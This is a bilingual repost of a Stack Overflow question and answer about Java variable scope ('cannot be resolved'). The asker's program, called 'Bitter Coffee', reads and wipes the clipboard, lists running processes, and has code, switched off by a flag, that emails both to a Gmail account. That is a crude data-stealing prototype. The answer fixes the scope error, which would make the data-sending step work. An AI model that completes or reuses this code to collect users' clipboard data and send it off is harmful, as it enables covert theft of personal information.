变量无法解析 [英] Variables cannot be resolved

查看:89
本文介绍了变量无法解析的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在制作我的第一个Java程序(希望在下个世纪掌握它),并且遇到了一些问题。当我尝试使用文本和先前创建的字符串的组合创建字符串时,Eclipse表示无法解析变量。有人可以帮我吗?

I am making my first Java program (In hopes to master it in the next century) and have ran into some issues. When I try to create a string with a combination of text and previously created strings, Eclipse says the variables cannot be resolved. Could somebody please help me? Thanks!

//Clipboard
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
//Taskmanager
import java.io.BufferedReader;
import java.io.InputStreamReader;
//Email-er
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
/*
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com  All rights reserved
*/
public class Application {
     static Properties mailServerProperties;
     static Session getMailSession;
     static MimeMessage generateMailMessage;
     public static void main(String args[]) throws AddressException, MessagingException {
            generateAndSendEmail();
            System.out.println("\n\n ===> Your Java Program has just sent an Email successfully. Check your email..");
        }

        public static void generateAndSendEmail() throws AddressException, MessagingException {     

            boolean allowEmails = false;
         Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);

            try {
                if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                    String text = (String)t.getTransferData(DataFlavor.stringFlavor);
                    String data = text;
                    System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
                    text=""; //String is now empty
                    StringSelection ss = new StringSelection(text); //Clears Clipboard data
                    Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
                    System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging

                }
            }
            catch(Exception e)
            {

        }
            try {
                String line;
                Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
                BufferedReader input =
                        new BufferedReader(new InputStreamReader(p.getInputStream()));
                while ((line = input.readLine()) != null) {
                    System.out.println(line); //Data is parsed
                }
                input.close();

            } catch (Exception err) {
                err.printStackTrace();
            }

    if(allowEmails == true) {

    //Step1   
            System.out.println("\n\n 1st ===> setup Mail Server Properties..");
            mailServerProperties = System.getProperties();
            mailServerProperties.put("mail.smtp.port", "587");
            mailServerProperties.put("mail.smtp.auth", "true");
            mailServerProperties.put("mail.smtp.starttls.enable", "true");
            System.out.println("Mail Server Properties have been setup successfully..");

    //Step2        
            System.out.println("\n\n 2nd ===> get Mail Session..");
            getMailSession = Session.getDefaultInstance(mailServerProperties, null);
            generateMailMessage = new MimeMessage(getMailSession);
            generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("javasmtpserver@gmail.com"));
            generateMailMessage.setSubject("Application 'Bitter Coffee' Has Been Activated");
            String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved";
            generateMailMessage.setContent(emailBody, "text/html");
            System.out.println("Mail Session has been created successfully..");

    //Step3        
            System.out.println("\n\n 3rd ===> Get Session and Send mail");
            Transport transport = getMailSession.getTransport("smtp");
            // Enter your correct Gmail UserID and Password
            transport.connect("smtp.gmail.com", "javasmtpserver", "serverpassword");
            transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
            transport.close();
    }
        }

}

后记:这是我的第一个Stack Overflow帖子,所以如果我搞砸了,请纠正我。发布之前,我到处都在寻找问题的答案。而且我确信这是一个易于解决的问题,但是由于这是我在Java中的第一个项目,所以我很迷失。再次感谢大家,祝您编程愉快!

Postscript: This is my first Stack Overflow post so correct me if I mess anything up. I have looked everywhere for the answer to my problem before I posted. And I am sure this is an easy to fix problem but as this is my first project in Java I am lost. Thanks again everyone and happy coding!

后记:该代码是为我创建的一个小项目。不用担心,我不会将其用于任何邪恶的需求;)

Post-Postscript: This code was created as a little project for me. Don't worry, I wont use it for any nefarious needs ;)

编辑:愚蠢的我忘了给出完整的错误:)

是:输入不能被解析为变量
数据无法被解析为变量

Dumb me forgot to give the full errors :)
They are: "input cannot be resolved as a variable" "data cannot be resolved as a variable"

它们是步骤2的第六行b $ b再次感谢!

They are the 6th line on "Step 2" Thanks again!

推荐答案

在Java中,您只能在定义变量的块中使用变量。

In Java you can only use a variable in the block in which it's defined.

您在try块中声明变量 data input

You declare the variables data and input inside your try block.

这意味着您只能在该块内使用它们。

This means you can only use them inside that block.

如果要使用 data input 在步骤2中,应在try块之前声明它们。

If you want to use data and input in step 2, you should declare them before your try block.

要解决此问题,请执行以下操作:

To fix it, do something like this:

public class Application {

    public static main(String[] args) {

        String data = null;
        String commandOutput = "";
        BufferedReader input = null;

        try {
            // do stuff
            data = text;
            input = // initialize buffered reader
            String line = input.readLine();
            while (line != null) {
                commandOutput += line;
                line = input.readLine();
            }
        }
        catch (SomeSpecificException ex) {
            // please handle exceptions!
        }
        catch (IOException ioex) {
            // handle IO Exceptions here
        }
        finally {               
            try {
                input.close();
            }
            catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        .
        .
        .
        String emailBody = "blah blah " + data + " blah blah " + commandOutput;
    }
}

这篇关于变量无法解析的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆